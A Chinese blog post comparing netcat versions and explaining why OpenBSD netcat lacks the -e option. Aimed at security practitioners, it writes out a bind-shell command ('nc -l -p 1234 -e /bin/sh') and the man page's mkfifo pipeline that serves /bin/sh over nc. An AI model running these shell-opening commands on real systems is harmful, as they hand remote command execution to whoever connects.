搞过安全的都知道一款“瑞士军刀”——netcat,程序名为nc,但是在应用的时候,却偶尔会因为参数不对命令失败,特别是搞反向shell时的-e命令,在很多系统中不能使用。
这个netcat参数为什么不一致呢?这还要从netcat的版本说起。
netcat最早是由Hobbit(hobbit@avian.org)开发的,官方站:http://nc110.sourceforge.net/,这个版本一般称为“传统版(traditional)”,这个版本的功能相对要少一些,在一些Linux版本中(比如Ubuntu)称为netcat-traditional;
gun也有一个对应的版本,加了一些功能(没找到具体资料),一般称为gun-netcat,开发网址:netcat.sourceforge.net;
用的最多的是openbsd版的netcat,一般称为openbsd-netcat,这个版本加入了些些功能,比如Ipv6、proxy、sockets等,现在大多数发行版如果没加特殊说明,一般就是这个版本,另外这个版本最大的一个特点就是去掉了-e参数,这就是很多Linux/Unix发行版中不能用-e执行sh的原因(搞网络的应该都知道……)。
nmap还出了一个ncat,这个版本又添加了许多新的功能,比如ssl支持、TCP/UDP重定向、IP过滤等,ncat一般包含在nmap里面,只要安装了nmap,一般就能找到ncat命令,另外ncat里面也有-e参数。
FreeBSD采用了openbsd代码,但是添加了几个功能:禁用tcp option、FIB映射、IPSEC等,特别地,-e和-E参数都是ipsec相关的,不再是“执行外部程序”,这是跟其他版本容易混淆的地方。
近几年,还出了一个非常强大的类netcat版本——socat(http://www.dest-unreach.org/socat/),这个版本比一般的netcat更强大,可以设置非常详细的参数,代理方面的功能尤为突出,但是用起来也比较复杂,需要非常熟悉相关协议才能驾驭它,所以流行度不是太广。
了解了上面的几个版本,可以大致了解,要用-e参数实现反向shell,就不要使用bsd系列的的netcat,另外使用ncat也是一个非常好的选择,在扫描时还有更多选项。
nc -l -p 1234 -e /bin/sh
可以用nc -h来查看是不是有-e参数,下面是openbsd-netcat的man,注意没有-e参数:
[root@localhost ~]# nc -h
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]
[-x proxy_address[:port]] [hostname] [port[s]]
Command Summary:
……
-D Enable the debug socket option
-d Detach from stdin
-h This help text
……
如果不幸遇到openbsd-netcat,怎么样实现反向shell呢?既然是“瑞士军刀”,就不至于连这个小小的要求都不能实现吧!
实际上,openbsd官方的man中已经告诉了怎么样实现反向shell:
On ‘server’ side:
$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
On ‘client’ side:
$ nc host.example.com 1234
$ (shell prompt from host.example.com)
大致原理:利用mkfifo创建一个fifo(管道)类型的文件,然后用nc和sh连接这个fifo文件的两端,就可以利用这种特殊的文件来实现命令行的输入和输出,注意这个命令在FreeBSD默认shell(csh)下不能正确执行,因为在2>&1在csh中不合法,可以简单去掉2>&1这部分。
附:netcat-traditional的帮助
root@test:/ # netcat -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-4 Use IPv4 (default)
-6 Use IPv6
-e prog program to exec after connect [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]